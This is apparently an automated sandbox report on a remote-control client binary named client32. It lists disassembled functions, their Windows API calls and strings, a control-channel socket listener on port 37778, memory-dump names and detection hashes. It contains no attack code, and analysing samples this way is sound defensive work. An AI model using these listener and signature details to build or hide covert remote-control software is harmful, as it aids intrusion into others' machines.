Function 11093180 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 108COMMON

Download Yara Rule

APIs

Part of subcall function 110CEC60: CreateDialogParamA.USER32(00000000,?,1112D7C9,110CBCD0,00000000), ref: 110CECF1
Part of subcall function 110CEC60: GetLastError.KERNEL32 ref: 110CEE49
Part of subcall function 110CEC60: wsprintfA.USER32 ref: 110CEE78

Part of subcall function 11142DD0: _memset.LIBCMT ref: 11142DF9
Part of subcall function 11142DD0: GetVersionExA.KERNEL32(?), ref: 11142E12

GetWindowLongA.USER32(?,000000EC), ref: 110931C9
SetWindowLongA.USER32(?,000000EC,00000000), ref: 110931F7

Part of subcall function 11029450: GetLastError.KERNEL32(?,00000000,?), ref: 1102946C
Part of subcall function 11029450: wsprintfA.USER32 ref: 110294B7
Part of subcall function 11029450: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 110294F3
Part of subcall function 11029450: ExitProcess.KERNEL32 ref: 11029509

GetWindowLongA.USER32(?,000000F0), ref: 11093220
SetWindowLongA.USER32(?,000000F0,00000000), ref: 1109324E

Strings

e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h, xrefs: 110931B1, 110931DE, 11093208, 11093235
m_hWnd, xrefs: 110931B6, 110931E3, 1109320D, 1109323A

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: LongWindow$ErrorLastwsprintf$CreateDialogExitMessageParamProcessVersion_memset
String ID: e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h$m_hWnd
API String ID: 3136964118-2830328467
Opcode ID: fb6c2165198b052ed1adde41c8e51930884ee91b5ce78e92da16114a67f0499d
Instruction ID: 17cdb21e99cc57644c55c5a770e75091ec79e40792fa9a2895745f392d232910
Opcode Fuzzy Hash: fb6c2165198b052ed1adde41c8e51930884ee91b5ce78e92da16114a67f0499d
Instruction Fuzzy Hash: AF31E475B04609ABC324CFA5DC95FE7B3E5BB88718F10862CF56A976D0DA34B840CB54

Function 11039400 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 108COMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,?), ref: 11039435
GetClassNameA.USER32(00000000,?,00000040), ref: 1103945B

Part of subcall function 1110F420: _malloc.LIBCMT ref: 1110F439
Part of subcall function 1110F420: wsprintfA.USER32 ref: 1110F454
Part of subcall function 1110F420: _memset.LIBCMT ref: 1110F477

GetWindowRect.USER32(00000000,?), ref: 110394E8
MapWindowPoints.USER32(00000000,?,?,00000002), ref: 1103950B
SetWindowPos.USER32(00000000,00000000,?,?,00000000,00000000,?), ref: 11039524

Strings

edit, xrefs: 11039464

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Window$ClassItemNamePointsRect_malloc_memsetwsprintf
String ID: edit
API String ID: 2434965487-2167791130
Opcode ID: b9f8c25bce05456a1ac1130d92197645ea9678c6f58a168908617c2ae6c35c02
Instruction ID: 94acfc0917b3b9f4953dcedb551f98c3703ae943f2dcdee60a79eb2a958a1b92
Opcode Fuzzy Hash: b9f8c25bce05456a1ac1130d92197645ea9678c6f58a168908617c2ae6c35c02
Instruction Fuzzy Hash: CE417E75A0060A9FD714CFA4CD84FAFF7B9FB84319F008519EA6697384EB74A904CB50

Function 11137070 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 104COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 111370A6
_free.LIBCMT ref: 111370DD

Part of subcall function 1105DD10: __wcstoi64.LIBCMT ref: 1105DD4D

_free.LIBCMT ref: 1113716D

Part of subcall function 1110F270: InterlockedDecrement.KERNEL32(?), ref: 1110F278

_free.LIBCMT ref: 1113713E

Part of subcall function 11162BE5: HeapFree.KERNEL32(00000000,00000000,?,1116B7A6,00000000,?,1110F4AE,?,?,?,?,11145032,?,?,?), ref: 11162BFB
Part of subcall function 11162BE5: GetLastError.KERNEL32(00000000,?,1116B7A6,00000000,?,1110F4AE,?,?,?,?,11145032,?,?,?), ref: 11162C0D

Strings

Client, xrefs: 111370FB
*HelpReqServer, xrefs: 111370F6

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: _free$DecrementErrorFreeHeapInterlockedLast__wcstoi64_malloc
String ID: *HelpReqServer$Client
API String ID: 1390041139-3616015116
Opcode ID: 71aa43b1dfc4152375353722706e6e213d6d63b076ebc57cc88b85f2b8b4d0b4
Instruction ID: 8e3468a70864abf3cc9909560d123acfb2a7f2167445c6f0ed38d11247114e31
Opcode Fuzzy Hash: 71aa43b1dfc4152375353722706e6e213d6d63b076ebc57cc88b85f2b8b4d0b4
Instruction Fuzzy Hash: 6B313877B001156BDB00DE58DC81BAEF3A9EF88325F154169ED04AB380D675F904C7D5

Function 110DD680 Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 103COMMON

Download Yara Rule

APIs

Part of subcall function 110D8200: __CxxThrowException@8.LIBCMT ref: 110D8283
Part of subcall function 110D8200: gethostbyname.WSOCK32(0.0.0.0,59FD48C0,?,?,00000000), ref: 110D8295
Part of subcall function 110D8200: WSAGetLastError.WSOCK32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,11186BEB), ref: 110D82A1
Part of subcall function 110D8200: _memmove.LIBCMT ref: 110D82CB
Part of subcall function 110D8200: htons.WSOCK32(00000000), ref: 110D82F1
Part of subcall function 110D8200: socket.WSOCK32(00000002,00000001,00000000), ref: 110D8305
Part of subcall function 110D8200: WSAGetLastError.WSOCK32 ref: 110D8313

OutputDebugStringA.KERNEL32(NsAppSystem Info : Control Channel Stopped Listening for Connections (37778) ListenThread Terminating)...,?,00000000,?,?,00000000), ref: 110DD708

Part of subcall function 110DE840: EnterCriticalSection.KERNEL32(111ED0A4,110185F8,59FD48C0,?,?,?,111CC6F8,11186998,000000FF,?,1101A642), ref: 110DE841

Strings

NsAppSystem Info : Stopped Listening On Control Channel For Connections..., xrefs: 110DD6F6
NsAppSystem Info : Control Channel Stopped Listening for Connections (37778) ListenThread Terminating)..., xrefs: 110DD703
NsAppSystem Info : Control Channel Connected To NsStudent App..., xrefs: 110DD7BA
NsAppSystem Info : INCOMING Control Channel Connection..., xrefs: 110DD72C
NsAppSystem Info : Control Channel Listening for Connections..., xrefs: 110DD6B6

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: ErrorLast$CriticalDebugEnterException@8OutputSectionStringThrow_memmovegethostbynamehtonssocket
String ID: NsAppSystem Info : Control Channel Connected To NsStudent App...$NsAppSystem Info : Control Channel Listening for Connections...$NsAppSystem Info : Control Channel Stopped Listening for Connections (37778) ListenThread Terminating)...$NsAppSystem Info : INCOMING Control Channel Connection...$NsAppSystem Info : Stopped Listening On Control Channel For Connections...
API String ID: 2962855875-3381136194
Opcode ID: 1b7ecb99bb46378956ba7eb88822c28ef9798db93cd3f111b1ffcc2a005beac2
Instruction ID: fd97f17cd70541077184d2754658eb2bb5ea6376c841969094cbb9e24a52883a
Opcode Fuzzy Hash: 1b7ecb99bb46378956ba7eb88822c28ef9798db93cd3f111b1ffcc2a005beac2
Instruction Fuzzy Hash: 7C31A0B5E003869FDF00DFA89994B9EFBA1FB44708F144569D51597280EA716A04CB92

Function 110ED430 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 101registryCOMMON

Download Yara Rule

APIs

RegQueryValueExA.ADVAPI32(?,?,00000000,?,?,?,?,?,?), ref: 110ED481
_free.LIBCMT ref: 110ED49C

Part of subcall function 11162BE5: HeapFree.KERNEL32(00000000,00000000,?,1116B7A6,00000000,?,1110F4AE,?,?,?,?,11145032,?,?,?), ref: 11162BFB
Part of subcall function 11162BE5: GetLastError.KERNEL32(00000000,?,1116B7A6,00000000,?,1110F4AE,?,?,?,?,11145032,?,?,?), ref: 11162C0D

_malloc.LIBCMT ref: 110ED4AE
RegQueryValueExA.ADVAPI32(000007FF,?,00000000,?,00000000,000007FF), ref: 110ED4DA
_free.LIBCMT ref: 110ED563

Strings

Error %d getting %s, xrefs: 110ED51D

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: QueryValue_free$ErrorFreeHeapLast_malloc
String ID: Error %d getting %s
API String ID: 582965682-2709163689
Opcode ID: 21b90e269bb058007468a2708e5de79ddeb75680d954529505c3fa37c1052212
Instruction ID: cd42bc0bb861def8ff6dbc914e14b6928e4a225feda89385fcf4a9bb75652b77
Opcode Fuzzy Hash: 21b90e269bb058007468a2708e5de79ddeb75680d954529505c3fa37c1052212
Instruction Fuzzy Hash: 58315076D001289BDB60DA19CC84BEEB7F9FF94344F0480E9E899A7240DE716E85CF91

Function 11143360 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 94windowCOMMON

Download Yara Rule

APIs

PlaySoundA.WINMM(1000,50,00000000,00020001), ref: 11143451

Part of subcall function 11163A2D: __isdigit_l.LIBCMT ref: 11163A52

Beep.KERNEL32(00000000,00000000), ref: 11143415
MessageBeep.USER32(00000000), ref: 11143427
MessageBeep.USER32(-00000010), ref: 1114343B
MessageBeep.USER32(00000000), ref: 1114345D

Strings

1000,50, xrefs: 11143370, 11143393, 111433A7, 111433E8, 1114344C

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Beep$Message$PlaySound__isdigit_l
String ID: 1000,50
API String ID: 3904670044-1941404556
Opcode ID: c2824c85be99af7b01869709431b37e6f937a4a8314b06dcce6d67a3277ac74e
Instruction ID: 938a5c7d7fad482dacf885287002a424905fd2e62ab59dfe834b6d95de8c57fd
Opcode Fuzzy Hash: c2824c85be99af7b01869709431b37e6f937a4a8314b06dcce6d67a3277ac74e
Instruction Fuzzy Hash: 93216D66A6C6B272E60105746D847FFFF5E8F81E69F184074E87DC6982EB26E016C321

Function 110612F0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 90COMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 11061313

Strings

result <= buflen, xrefs: 110613BD
..\CTL32\configplus.cpp, xrefs: 110613B8

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: wsprintf
String ID: ..\CTL32\configplus.cpp$result <= buflen
API String ID: 2111968516-413741496
Opcode ID: 1e75b457f82be356380a80b6451298dc34942034e65cfc81e57d19b8d6e8b9c2
Instruction ID: 66cd83cde6406eed73dadf9a29febb3e9e016d9ffe8428f4573ae4edc325b04e
Opcode Fuzzy Hash: 1e75b457f82be356380a80b6451298dc34942034e65cfc81e57d19b8d6e8b9c2
Instruction Fuzzy Hash: 8E21DB75E041669BC301CF389C84DEE77ED9FC5369B14C251FDA69B685E631E904C390

Function 110594C0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 85timeCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,59FD48C0,77602AF0,00000001,000000C8,11059995,?,?,00000000,?,?), ref: 11059518
timeGetTime.WINMM ref: 1105954B

Part of subcall function 11142290: _strncpy.LIBCMT ref: 111422D2

SetEvent.KERNEL32(?), ref: 11059594
LeaveCriticalSection.KERNEL32(?), ref: 1105959B

Part of subcall function 11029450: GetLastError.KERNEL32(?,00000000,?), ref: 1102946C
Part of subcall function 11029450: wsprintfA.USER32 ref: 110294B7
Part of subcall function 11029450: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 110294F3
Part of subcall function 11029450: ExitProcess.KERNEL32 ref: 11029509

Part of subcall function 1110F420: _malloc.LIBCMT ref: 1110F439
Part of subcall function 1110F420: wsprintfA.USER32 ref: 1110F454
Part of subcall function 1110F420: _memset.LIBCMT ref: 1110F477

Strings

gMain.pReconnThread, xrefs: 11059501
CltReconn.cpp, xrefs: 110594FC

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CriticalSectionwsprintf$EnterErrorEventExitLastLeaveMessageProcessTime_malloc_memset_strncpytime
String ID: CltReconn.cpp$gMain.pReconnThread
API String ID: 3397837340-2390197369
Opcode ID: 62f0ce4501407474e94ae8187d1c8e7f68287c587de99165efd95a88e45b781b
Instruction ID: d55008317b7f58e9c03502da526e59385c1a25d3ba89ff1204f814874157006d
Opcode Fuzzy Hash: 62f0ce4501407474e94ae8187d1c8e7f68287c587de99165efd95a88e45b781b
Instruction Fuzzy Hash: 853182B6E04319DFD750CFA8D880B9AFBF4FB48708F10456AE925D7240E774AA40CB91

Function 1109D650 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 78sleepCOMMON

Download Yara Rule

APIs

IsWindow.USER32(?), ref: 1109D66F
GetClassNameA.USER32(?,?,00000040), ref: 1109D680
FindWindowA.USER32(?,00000000), ref: 1109D6C1
Sleep.KERNEL32(?,?,?,?,?,?,?,?,?,1109E8E9,000001F4,00000006,?,11066C00,0000048C,00000001), ref: 1109D6DC
FindWindowA.USER32(?,00000000), ref: 1109D6ED

Strings

gfff, xrefs: 1109D69A

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Window$Find$ClassNameSleep
String ID: gfff
API String ID: 1867012073-1553575800
Opcode ID: f63e749aaae1211fd170dac7924bfa73fc6692fe634daa17492b9abf550c62c7
Instruction ID: 4d297b605abb8e027e0f0f99cc6afa5b4bd528ddbd813a0f77330fab7f22680d
Opcode Fuzzy Hash: f63e749aaae1211fd170dac7924bfa73fc6692fe634daa17492b9abf550c62c7
Instruction Fuzzy Hash: 5221F676E4162D9BC701CFA8DC94A9EFBA8BF48755B050125EC08EB340DB34E902DBE0

Function 110095A0 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 77fileCOMMON

Download Yara Rule

APIs

Part of subcall function 110D12F0: wvsprintfA.USER32(?,?,00000000), ref: 110D1322

WriteFile.KERNEL32(00000000,?,?,00000000,00000000), ref: 11009656
WriteFile.KERNEL32(?,<tr><td ><div align="center"><img src="URL_list.gif" height="78"><br></div> </td></tr><tr><td > <div align="left"> <table border="0" cellpadding="0" height="23" >,000000B9,00000000,00000000), ref: 1100966B

Part of subcall function 11029450: GetLastError.KERNEL32(?,00000000,?), ref: 1102946C
Part of subcall function 11029450: wsprintfA.USER32 ref: 110294B7
Part of subcall function 11029450: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 110294F3
Part of subcall function 11029450: ExitProcess.KERNEL32 ref: 11029509

Strings

<HTML%s><Body><title>Approved URLs</title><body bgcolor="#FFFFFF"><div align="center"> <center><table > <td><div align="center"> <center><table border="1" cellspacing="0" cellpadding="3" bgcolor="#FFFFFF" bordercolor="#6089B7">, xrefs: 110095D9
IsA(), xrefs: 1100960D, 11009635
e:\nsmsrc\nsm\1210\1210f\ctl32\NSMString.h, xrefs: 11009608, 11009630
<tr><td ><div align="center"><img src="URL_list.gif" height="78"><br></div> </td></tr><tr><td > <div align="left"> <table border="0" cellpadding="0" height="23" >, xrefs: 11009665

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
